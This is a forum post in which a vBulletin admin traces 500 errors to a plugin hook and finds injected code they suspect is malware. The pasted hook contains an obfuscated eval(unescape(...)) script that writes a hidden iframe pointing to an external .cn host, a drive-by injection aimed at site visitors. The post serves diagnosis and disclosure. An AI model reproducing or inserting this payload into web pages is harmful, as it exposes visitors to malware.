Archive pages 500 error

I just noticed (thanks to webmaster tools) that all my archive pages were getting a 500 error.

I traced this back to the plugin for vbseo on archive_forum_thread

error message:

Code:

Parse error:  syntax error, unexpected '<' in /home/xxx/public_html/forum/archive/index.php(327) : eval()'d code on line 3

my plugin is as follows:

PHP Code:

if(defined('VBSEO_ENABLED'))
vbseo_complete_sec('archive_forum_thread');
<script type="text/javascript">
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%5C%75%30%30%33%63%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%32%5C%75%30%30%36%33%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%36%38%5C%75%30%30%37%34%5C%75%30%30%37%34%5C%75%30%30%37%30%5C%75%30%30%33%61%5C%75%30%30%32%66%5C%75%30%30%32%66%5C%75%30%30%36%66%5C%75%30%30%37%32%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%37%34%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%36%5C%75%30%30%36%36%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%65%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%65%5C%75%30%30%32%65%5C%75%30%30%36%33%5C%75%30%30%36%37%5C%75%30%30%36%39%5C%75%30%30%33%66%5C%75%30%30%33%31%5C%75%30%30%33%33%5C%75%30%30%32%32%5C%75%30%30%32%32%5C%75%30%30%32%30%5C%75%30%30%37%33%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%33%64%5C%75%30%30%32%32%5C%75%30%30%37%36%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%36%39%5C%75%30%30%36%32%5C%75%30%30%36%39%5C%75%30%30%36%63%5C%75%30%30%36%39%5C%75%30%30%37%34%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%32%30%5C%75%30%30%36%38%5C%75%30%30%36%39%5C%75%30%30%36%34%5C%75%30%30%36%34%5C%75%30%30%36%35%5C%75%30%30%36%65%5C%75%30%30%33%62%5C%75%30%30%32%30%5C%75%30%30%36%34%5C%75%30%30%36%39%5C%75%30%30%37%33%5C%75%30%30%37%30%5C%75%30%30%36%63%5C%75%30%30%36%31%5C%75%30%30%37%39%5C%75%30%30%33%61%5C%75%30%30%32%30%5C%75%30%30%36%65%5C%75%30%30%36%66%5C%75%30%30%36%65%5C%75%30%30%36%35%5C%75%30%30%32%32%5C%75%30%30%33%65%5C%75%30%30%33%63%5C%75%30%30%32%66%5C%75%30%30%36%39%5C%75%30%30%36%36%5C%75%30%30%37%32%5C%75%30%30%36%31%5C%75%30%30%36%64%5C%75%30%30%36%35%5C%75%30%30%33%65%27%29%3B"));
</script> 


Never mind, it doesn't look like vbseo did this. I'm not sure where it came from, but it looks dodgy. I'm investigating as it looks like someone trying to install malware on my users browsers.